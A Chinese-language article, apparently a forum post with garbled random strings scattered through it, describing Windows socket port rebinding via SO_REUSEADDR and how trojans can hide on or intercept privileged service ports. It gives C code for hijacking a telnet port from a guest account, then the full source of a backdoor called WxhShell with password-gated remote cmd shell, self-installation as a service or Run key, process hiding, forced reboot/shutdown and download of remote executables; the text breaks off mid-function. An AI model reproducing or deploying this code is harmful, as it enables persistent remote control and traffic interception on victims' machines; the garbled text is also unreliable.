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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :A$6Y*s\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,-Na'n B@4#y9`5 saddr.sin_family = AF_INET; L%DL
n xfzR>NU saddr.sin_addr.s_addr = htonl(INADDR_ANY); _C4^J La!PGZ{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bMZ0%(q 5FMKJ7sC9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d09GD[5 \@xnC$dd/ 这意味着什么?意味着可以进行如下的攻击: 9T]]T Ev4 _I9TG.AA. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Bw$-*FYE 'D4NPG`z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,uw&)A LV[4z o]= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [H&m@*UO jC
oZm(bi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 \8pbPo=x %nIjRmqM~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |LQmdgVr$ YcI]_[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M_e!s}F
4@5<B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qHj4`& 5u&jNU5m_ #include _w26iCnB{ #include b&ADj8cKC #include r}991O< #include o
2DnkzpJ DWORD WINAPI ClientThread(LPVOID lpParam); 2|cIu ' U int main() >8VJ!Kg4 { <Z5prunov WORD wVersionRequested; LKm5U6 DWORD ret; WlY%f}ln WSADATA wsaData; ^O?$}sr BOOL val; B)(A#&nrb SOCKADDR_IN saddr; 5!Guf?i SOCKADDR_IN scaddr; ":Q70*xSm int err; Pg:Nz@CQ SOCKET s; aCMcu\rd SOCKET sc;
i"b*U5k int caddsize; *f[`Yv HANDLE mt; JmBYD[h, DWORD tid; xW09k6 wVersionRequested = MAKEWORD( 2, 2 ); xS.0u"[ err = WSAStartup( wVersionRequested, &wsaData ); 464Z0C if ( err != 0 ) { *8Lym,] printf("error!WSAStartup failed!\n"); &@RU}DnvM& return -1; @<YZa$` } 5E%W;$3Pb saddr.sin_family = AF_INET; (d ( whlF o;O_N^_W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {S}/LSNB -uh/W=Q1R saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c>^_4QQ saddr.sin_port = htons(23); WcdU fv(> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T^79p$ { EH[ ?*>+s printf("error!socket failed!\n"); Ug9o/I@}C return -1; Q:-/@$&i } rg
$71Ir val = TRUE; K<t(HK#[ //SO_REUSEADDR选项就是可以实现端口重绑定的 9/'j<v6M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]s<Q-/X { _[<I&^% printf("error!setsockopt failed!\n"); ;[|x5o/< return -1; E{FN sa } ~v5tx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n"Ev25% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s0\X%U(" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8g$ 8]'M^T R%ddB D\? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T"2ye9a { l@^RbF[' ret=GetLastError(); "\BLi C printf("error!bind failed!\n"); m1frN#3 return -1; h;B'#$_ } :>cJ[K?0 listen(s,2); m.2 while(1) f>RPh bq| { FNZnz7 caddsize = sizeof(scaddr); a MzAA //接受连接请求 f",B;C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rVz#;d!`z if(sc!=INVALID_SOCKET) M+ H$Jjcs { 2\7]EW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 63at
lq if(mt==NULL) L-MpdC { 3fGy printf("Thread Creat Failed!\n"); {i=qx#2X?H break; ov|s5yH8e } _)p% } :@pmgp CloseHandle(mt); ~#gVs*K } te:@F]A closesocket(s); ArF+9upGY WSACleanup(); ]A_)&`"Cb return 0; `T}e3l } ;KnnAZJ DWORD WINAPI ClientThread(LPVOID lpParam) wD*_S}] { 7=JiL= SOCKET ss = (SOCKET)lpParam; Ble <n6 SOCKET sc; ost~<4~ unsigned char buf[4096]; ptUnV3h SOCKADDR_IN saddr; 2#sE\D long num; !QYqRH~5 DWORD val; d`v]+HK DWORD ret; (}}BZS&. //如果是隐藏端口应用的话,可以在此处加一些判断 _7 n+j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0C3CqGP saddr.sin_family = AF_INET; &ts!D!Hj saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZY{,// saddr.sin_port = htons(23); }n8,Ga% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tdEu4)6 { lPx4I printf("error!socket failed!\n"); cz.-cuD[iD return -1; 3:S
Ex;d+ } PF4Cs3m/ val = 100; ;@Ls"+g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IspY%UMl { ZJd1Lx ret = GetLastError(); 8sE@?, return -1; {L3lQ8Z } V5M_N;h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xUj[ d(q { fU$zG"a_ ret = GetLastError(); 5q"
;R$+j return -1; rW!P~yk } `y
m^0x8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :h?Zg(l { Nqy',N printf("error!socket connect failed!\n"); #j'OrD closesocket(sc); (5VP*67 closesocket(ss); L;>tuJY1 return -1; C$Ldz=d } = R; 0Ed&b while(1) ?GX5Pvg { /1t(e._ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mG\,T3/* //如果是嗅探内容的话,可以再此处进行内容分析和记录 fq_ 6xs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uB0/H=<H num = recv(ss,buf,4096,0); HIeWgw^" if(num>0) g,mcxXO send(sc,buf,num,0); sl>4O]N else if(num==0) MiAXbo#\ break; 7DXT1+t num = recv(sc,buf,4096,0); @C7#xGD if(num>0) 8kX3.X` send(ss,buf,num,0); cBiv=!n else if(num==0) hekAics6S break; 9kWyO:a_( } ok2$ p closesocket(ss); !JJCG closesocket(sc); !G Z2|~f9 return 0 ; tihb38gE } +.mIC:9 A<QYW,:| c-n'F+fZ ========================================================== E&jngxlN 1DN, 下边附上一个代码,,WXhSHELL qXCl6Yo8 O=G2bdY{, ========================================================== YLJH?=2@ v93+<@Z #include "stdafx.h" \bZbz/+D X_!Sm #include <stdio.h> wwmMpK}f #include <string.h> 3JWHyo #include <windows.h> av&dGsFP #include <winsock2.h> 0`3ey* #include <winsvc.h> *Iyv${ #include <urlmon.h> *<OWd'LI k;#$Oxa>t= #pragma comment (lib, "Ws2_32.lib") 6WzE'0Nyr #pragma comment (lib, "urlmon.lib") >rB7ms/@E gh['T, #define MAX_USER 100 // 最大客户端连接数 [`yiD> #define BUF_SOCK 200 // sock buffer ,iB)8Km@U #define KEY_BUFF 255 // 输入 buffer A|c :&i j}X4#{jgC #define REBOOT 0 // 重启 hSQP
'6 #define SHUTDOWN 1 // 关机 _Oh;._PS P5%DvZB$w #define DEF_PORT 5000 // 监听端口 l)Q,*i f)vD2_E #define REG_LEN 16 // 注册表键长度 b^;19]/RW #define SVC_LEN 80 // NT服务名长度 <xOpm8 axxdW)+K // 从dll定义API 3Yp_k typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fx/9T2%= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GmcxN< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s@'};E^]@r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q4Hf!v]r :nd
}e // wxhshell配置信息 44
o5I: struct WSCFG { )><cL:IJ}S int ws_port; // 监听端口 .1t$(]CyC char ws_passstr[REG_LEN]; // 口令 BT2[@qH|qF int ws_autoins; // 安装标记, 1=yes 0=no pr>K#@^ char ws_regname[REG_LEN]; // 注册表键名 X.o[=E char ws_svcname[REG_LEN]; // 服务名 mRW(]OFIai char ws_svcdisp[SVC_LEN]; // 服务显示名 3`5?Zgp char ws_svcdesc[SVC_LEN]; // 服务描述信息 >hRYsWbmg char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }V ;PaX int ws_downexe; // 下载执行标记, 1=yes 0=no @433?g`2b char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _g0
qpa char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SdYES5aES \Nb6E&+ }; ygd'Nh!@ /?9e{,\s // default Wxhshell configuration Yc"G="XP; struct WSCFG wscfg={DEF_PORT, +G7A.d`V} "xuhuanlingzhe", Y=vA;BE]R 1, ?:lOn(0& "Wxhshell", (=)+as"u9* "Wxhshell", ZBJ.dK?Ky| "WxhShell Service", IgLP=mqcWK "Wrsky Windows CmdShell Service", L_<&oq "Please Input Your Password: ", k#5S'sCF< 1, ceH7Rq:4W " http://www.wrsky.com/wxhshell.exe", :kOLiko!4> "Wxhshell.exe" s%H5Qa+Uh }; t1n'Ecm( YxGIv8O] // 消息定义模块 IE|x+RBD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G"O%u|7 char *msg_ws_prompt="\n\r? for help\n\r#>"; @H]g_yw [: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; f|m.v
+7k char *msg_ws_ext="\n\rExit."; SXwgn > char *msg_ws_end="\n\rQuit."; \%mR*J+ char *msg_ws_boot="\n\rReboot..."; 2^[fUzL? char *msg_ws_poff="\n\rShutdown..."; O)\xElu char *msg_ws_down="\n\rSave to "; DS=kSkW^&5 M\enjB7k char *msg_ws_err="\n\rErr!"; E@0wt^ char *msg_ws_ok="\n\rOK!";
{pd%I U%t:]6d&} char ExeFile[MAX_PATH]; zc*qmb int nUser = 0; \X
Nb 9- HANDLE handles[MAX_USER]; I]~xs0$4# int OsIsNt; H1s{JJAM>i "h2;65@ SERVICE_STATUS serviceStatus; e4khReF; SERVICE_STATUS_HANDLE hServiceStatusHandle; >^+Q`"SN G?<L{J2"Q // 函数声明 44kY[jhf int Install(void); ;s9!ra:3 int Uninstall(void); J4 !Z,- int DownloadFile(char *sURL, SOCKET wsh); wD22@uM#] int Boot(int flag); ##}a0\x| void HideProc(void); ` *$^rQS int GetOsVer(void); $ daI++v`
int Wxhshell(SOCKET wsl); N]KqSpPh void TalkWithClient(void *cs); i:qc2#O:J int CmdShell(SOCKET sock); PM[6U# int StartFromService(void); [9[tn- int StartWxhshell(LPSTR lpCmdLine); \8ulX>] ~AjbF(Ad VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QTcngv[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3|P P+<o ""d3ownKhw // 数据结构和表定义 Wq&TbWR SERVICE_TABLE_ENTRY DispatchTable[] = I".d>]16| { hL67g {wscfg.ws_svcname, NTServiceMain}, CU lANd" {NULL, NULL} ds5<4SLj }; Vxo3RwmR S9U9;>g // 自我安装 m4>v S int Install(void) OWtN=Gk { I/XVo2Ee char svExeFile[MAX_PATH]; `9zP{p HKEY key; ]2h~Db= strcpy(svExeFile,ExeFile); d<`Z{"g NS l]oGhM; // 如果是win9x系统,修改注册表设为自启动 ,i>5\Yl% if(!OsIsNt) { kIU"-;5tP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i]8zZRe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6l:CDPhR RegCloseKey(key); J[VQ6fD% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T(J&v|FK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $sGX%u RegCloseKey(key); #V4_. t# return 0; Vi5RkUY] } A' dt
WD } N{|N_}X`Y } `=q)-y_C else { 1G{$ B^
f ]=@>;yP) // 如果是NT以上系统,安装为系统服务 Xa9G;J$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xQWZk`6~L if (schSCManager!=0) f{*G% { n+Fl|4 SC_HANDLE schService = CreateService 3o"~_l$z ( f\^FUJy schSCManager, &S''fxGL wscfg.ws_svcname, k9yA# wscfg.ws_svcdisp, }{j[ SERVICE_ALL_ACCESS, Rqvm%sAi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MFE~bU(h SERVICE_AUTO_START, I#uJdV|x SERVICE_ERROR_NORMAL, q SCt=eQ svExeFile, ~q-|cl< NULL, HbZ3QW P NULL, ~[ve?51 NULL, ywi
Shvi8 NULL, el+euOV NULL )WKe,:C ); x<9|t( if (schService!=0) A/BL{ U} { lt}|Y9h CloseServiceHandle(schService); - Npl x CloseServiceHandle(schSCManager); @kI^6(. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^[^uDE
< strcat(svExeFile,wscfg.ws_svcname); h'IBVI!P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >MiA|N= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r95$B6 RegCloseKey(key); G}}oeS return 0; IE'OK } 0D$+WX } HZfcLDrO CloseServiceHandle(schSCManager); nCXIWLw } ]yCmGt+b } - DL/Hk_r GW.s\8w return 1; "+saI@G } Gh42qar` $\m=-5 0- // 自我卸载 ~mmI]
pC int Uninstall(void) Hsx`P { GD~3RnGQ{ HKEY key; >/$Q:92T YR~g&E#U^ if(!OsIsNt) { /$I&D}uR` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <f{m=Dc RegDeleteValue(key,wscfg.ws_regname); }Ct_i'Ow RegCloseKey(key); \=,+weGw@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /M B0%6m RegDeleteValue(key,wscfg.ws_regname); B)ynF?" RegCloseKey(key); #r:J,D6* return 0; IExQ}I } Dzc 4J66 } *C's7O{O } B'atwgI0 else { H\^5>ccU>V v%86JUlK. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -[Zau$;J< if (schSCManager!=0) 'HW(RC0dR { %#ms`"H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E62VuX if (schService!=0) YN"102CK { pB?a5jpA if(DeleteService(schService)!=0) { "LXLUa03 CloseServiceHandle(schService); R0*DfJS:Z CloseServiceHandle(schSCManager); ,MOB+i(3*u return 0; &v3r#$Hj[
} kD MS7y<s CloseServiceHandle(schService); I%{^i d@ } ^/Gjk CloseServiceHandle(schSCManager); S,Zjol %p } .B#Lt,m } ]p+t>'s wrGd40 return 1; 8*6J\FE<p } Q+dBSKSK iWQBo>x // 从指定url下载文件 gtjgC0 int DownloadFile(char *sURL, SOCKET wsh) [h8F) { )@SIFE HRESULT hr; 8a.
|CgI#h char seps[]= "/"; V!"^6) char *token; B;W=61d char *file; kFD- char myURL[MAX_PATH]; \EB]J\x< char myFILE[MAX_PATH]; hTVN`9h7
s.GTY@t strcpy(myURL,sURL); z13"S(5D~ token=strtok(myURL,seps); ] ^ while(token!=NULL) !4.;Ftgjn { iP'}eQn]c file=token; <w{W1*R9 token=strtok(NULL,seps); mpr["C"l } u!L8Sv &[RC 4^;\V GetCurrentDirectory(MAX_PATH,myFILE); L=HL1Qe$G] strcat(myFILE, "\\"); IFpmf0;^ strcat(myFILE, file); QfwGf,0p send(wsh,myFILE,strlen(myFILE),0); &Lq @af# send(wsh,"...",3,0); >|z=-hqPK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BKvF,f/g if(hr==S_OK) \I'A:~b)L return 0; 5l(;+#3y/ else 8eOQRC33 return 1; -P'>~W,~ lD C74g } 8|7Tk[X1j "#e2"=3* // 系统电源模块 wQ[2yq int Boot(int flag) C:
e}}8i { UbQeN HANDLE hToken; rt~X(S TOKEN_PRIVILEGES tkp; RJtSHiM2 ?cg+RNI if(OsIsNt) { !4oYQB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :B=`^>RK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p}(w"?2 tkp.PrivilegeCount = 1; ,&)XhO? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bk^ :6>{K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c+4SGWmO if(flag==REBOOT) { Ho"FB|e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c wpDad[Kx return 0; |AWu0h\keO } Hs-NP#I else { gNZ^TeT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q2/Vt0aYx return 0; gXH89n } _Yh4[TT~/ } hc[GpZcw, else { 1eb1Lvn if(flag==REBOOT) { JBWiTUk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VVe>} return 0; 8^4X/n } ^ePSI|EW else { x b _C1n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )8Q|y return 0; @u$oqjK } 6DR8(j)=[% } ]1Q\wsB b(XhwkGVq return 1; \<PX'mnO } NGxii$F ".@SQgyb0 // win9x进程隐藏模块 ,-{j. void HideProc(void) >?tcL * { mS);bs =1esUO[nx HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~ R* 6w($ if ( hKernel != NULL ) IC{>q3 { APLu?wy7s5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wLgRI$_Dm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5-C6; 7%: FreeLibrary(hKernel); |MBnRR } r^
"mPgY %WO;WxG8^ return; /`'50Cj } B@s\>QMm OsK=% aDpj // 获取操作系统版本 fqr}tvMr=T int GetOsVer(void) iF
67 { a1}W2;W0]g OSVERSIONINFO winfo; cKxJeM07 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9u)h$VC GetVersionEx(&winfo); 2+^#<Uok if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) grS,PKH return 1; F1+2V"~ else nBD7 return 0; J[B8sa } My[L3KTTp ,sc>~B@Q // 客户端句柄模块 &/zsIx+ int Wxhshell(SOCKET wsl) RM`8P5i]sF { 0qTa @y SOCKET wsh; Qv?jo(] struct sockaddr_in client; "90}H0(+ DWORD myID; u.arkp #
I<G:) while(nUser<MAX_USER) Zkz:h7GUG- { Y# lE int nSize=sizeof(client); svQDSif wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !sLn;1l if(wsh==INVALID_SOCKET) return 1; 'shOSB ]xS< \{og handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [mwfgh&4% if(handles[nUser]==0)
']dTW#i closesocket(wsh); XRz.R/ else "2;UXX-H nUser++; \twlHj4 } JhD8.@} b~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~+d]yeDrhx _I-0[w return 0; IGp-`%9 } ` n_ Z !^N/n5eoz // 关闭 socket a;lCr|* void CloseIt(SOCKET wsh) xE9s=} { f{+8]VA closesocket(wsh); a $KM
q> nUser--; 2AlLcfAW ExitThread(0); ngNg1zV/q } c8yD-U/- |{_%YM($ // 客户端请求句柄 -x RsYYw void TalkWithClient(void *cs) crmnh4- { !k[zUti 3Fr}8Dy SOCKET wsh=(SOCKET)cs; NeWssSje char pwd[SVC_LEN]; ;ndg,05_ char cmd[KEY_BUFF]; n =v %}@f2 char chr[1]; Ig6s'^ int i,j; 2/bck)p= CsE|pXVG while (nUser < MAX_USER) { ~ugcfDJ 6HEl1FK{@ if(wscfg.ws_passstr) { QKF2_Acc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ PP GU1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Q^~Z}, //ZeroMemory(pwd,KEY_BUFF); L,:U _\HQ i=0; 6Z'zB&hM} while(i<SVC_LEN) { $4?%Z>' ;1y\!f3#V~ // 设置超时 IAtZ-cM< fd_set FdRead; 3C[ ;2 struct timeval TimeOut; X `vDhfh>N FD_ZERO(&FdRead); `SU;TN0 FD_SET(wsh,&FdRead); kC#;j=K? TimeOut.tv_sec=8; ?W|POk} TimeOut.tv_usec=0; )dvOg'it int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h&Sl8$jVp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "JGaw_o }\irr9, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
vdo[qk\C pwd =chr[0]; -~xd-9v? if(chr[0]==0xd || chr[0]==0xa) { PJ_|=bn pwd=0; H11Wb(6Wu break; 6suc0 } G(4k#jB i++; 00Rk %QV } y_nh~& fHgfI@{=j // 如果是非法用户,关闭 socket >Te{a*`"m: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WRnUF[y+) } eFx*lYjA w8on3f;6n# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zZy>XHR
H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~q9RZ#g13J 2<'gX>TW while(1) { ' ZB%McS ZWFH5#= ZeroMemory(cmd,KEY_BUFF); Ne4A n1LS*-@ // 自动支持客户端 telnet标准
D?E5p.!A j=0; Z,2uN!6 while(j<KEY_BUFF) { ="4jk=on if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b!N`@m= cmd[j]=chr[0]; C/cyqxVl} if(chr[0]==0xa || chr[0]==0xd) { )Qo6bei! cmd[j]=0; V2bod=&Lc break; ;Rt,"W) } dzcPSbbpt j++; LO2sP"9 } ~jPe9 %AJdtJ@0H // 下载文件 isN"7y|r:X if(strstr(cmd,"http://")) { $;">/"7m send(wsh,msg_ws_down,strlen(msg_ws_down),0); &oR&NKk if(DownloadFile(cmd,wsh)) qv<VKJTi6] send(wsh,msg_ws_err,strlen(msg_ws_err),0); aJfW75C else oo qNPLa send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ugL$W@ }
vu1:8j else { `Ffn:=Do qzH97<M}T switch(cmd[0]) { rVO+
vhih AvwX 2?tc // 帮助 N@) D,~ case '?': { 's9)\LS>p send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y<gmp break; Q[k}_1sWs$ } 2qEy"DKu // 安装 :xA'X+d/' case 'i': { l^SKd if(Install()) >97V2W send(wsh,msg_ws_err,strlen(msg_ws_err),0); )QKZI))G0 else 4A*'0!H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J"z8olV break; VMNihx0FJ } m!PN1$9V // 卸载 w</kGK[O case 'r': { \:Nbl<9(9 if(Uninstall()) x;C\G`9N send(wsh,msg_ws_err,strlen(msg_ws_err),0); NQOdgp else N".
af)5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8
/\rmf\ break; :0]KIybt } * %MY. # // 显示 wxhshell 所在路径 JU~l case 'p': { FkRrW^?5G char svExeFile[MAX_PATH]; _kar5B$ strcpy(svExeFile,"\n\r"); e}Db-7B_~ strcat(svExeFile,ExeFile); Q!@"Y/ send(wsh,svExeFile,strlen(svExeFile),0); P ^D\znvc break; 1c\$ziB } p(
z.[ // 重启 "d{ |_Cf case 'b': { HtXzMSGo7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 05w_/l+ if(Boot(REBOOT)) VkUMMq{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJj6@hi2P else { uu'~[SZlL closesocket(wsh); =WHdy; ExitThread(0); []'BrG)! } ] @IzJz"R break; 3Hr ZN+D } pvcD
61, // 关机 3 p") case 'd': { 2r\f!m' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mgg/i@( if(Boot(SHUTDOWN)) KecR jon ~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); sv
=6?uYW else { P0|V1,) closesocket(wsh); -cOLgrmp ExitThread(0); Sl{]Z, } rZ
*}jD[ break; 7hQrL+%q8 } JZ9w!)U // 获取shell l&[ x)W case 's': { )]?sCNb CmdShell(wsh); ^Qq_|{vynf closesocket(wsh); PjDYdT[ ExitThread(0); 4OC^IS break; 6"z:s-V } bF<FX_}!s! // 退出 RlC|xj"l% case 'x': { /0@'8f\I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); REli`"bR CloseIt(wsh); QT&2&#Z break; '0lX;z1 } Nxp7/Nn3 // 离开 EH=[!iW ; case 'q': { 0p)#!$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); MQ7N8 @!t closesocket(wsh); +7.\>Ucq` WSACleanup(); F8S% \i
exit(1); "@#^/m) break; tDJts OL } !#Ub*qY1Z } jZx.MBVy] } Ixk L] >^=upf/ // 提示信息 (_ HwU/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3rBSwgRl }
LhKaqR{ } GHWi,' mr 6j/g/!9c! return; "wy|gnQJ } rO[ cm} P%2aOsD0 // shell模块句柄 ;SnpD)x@) int CmdShell(SOCKET sock) IOhJL'r { U[,."w]T STARTUPINFO si; XYj!nx{k, ZeroMemory(&si,sizeof(si)); mE\sD<b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]{^'{ z$i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /N '0@q PROCESS_INFORMATION ProcessInfo; T+1:[bqK char cmdline[]="cmd"; Xt}
4B# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {%Cb0Zh return 0; t/%{R.1MN } Lz6b9W Sqn|
// 自身启动模式 ,Pi!%an w int StartFromService(void) sE:~+C6o: { !>RDHu2n typedef struct \no6]xN; { aG_@--= DWORD ExitStatus; 3u[m? Vw DWORD PebBaseAddress; H?oBax: DWORD AffinityMask; +{#65z DWORD BasePriority; /]pJ(FFC ULONG UniqueProcessId; .bYZkO:oy ULONG InheritedFromUniqueProcessId; fab.%$ } PROCESS_BASIC_INFORMATION; 3']a1\sy^ qtrN=c3x PROCNTQSIP NtQueryInformationProcess; >^:*x_a9 {#` O'F> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pmwVVUEQ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {'#1do}{ qTZ\;[CrP" HANDLE hProcess; z][hlDv\j PROCESS_BASIC_INFORMATION pbi; j)nL!":O /aTW X HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S4 j5- if(NULL == hInst ) return 0; +P! ibHfP IN8G4\r g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \qf0=CPw8 g_pGetModuleBaseName = 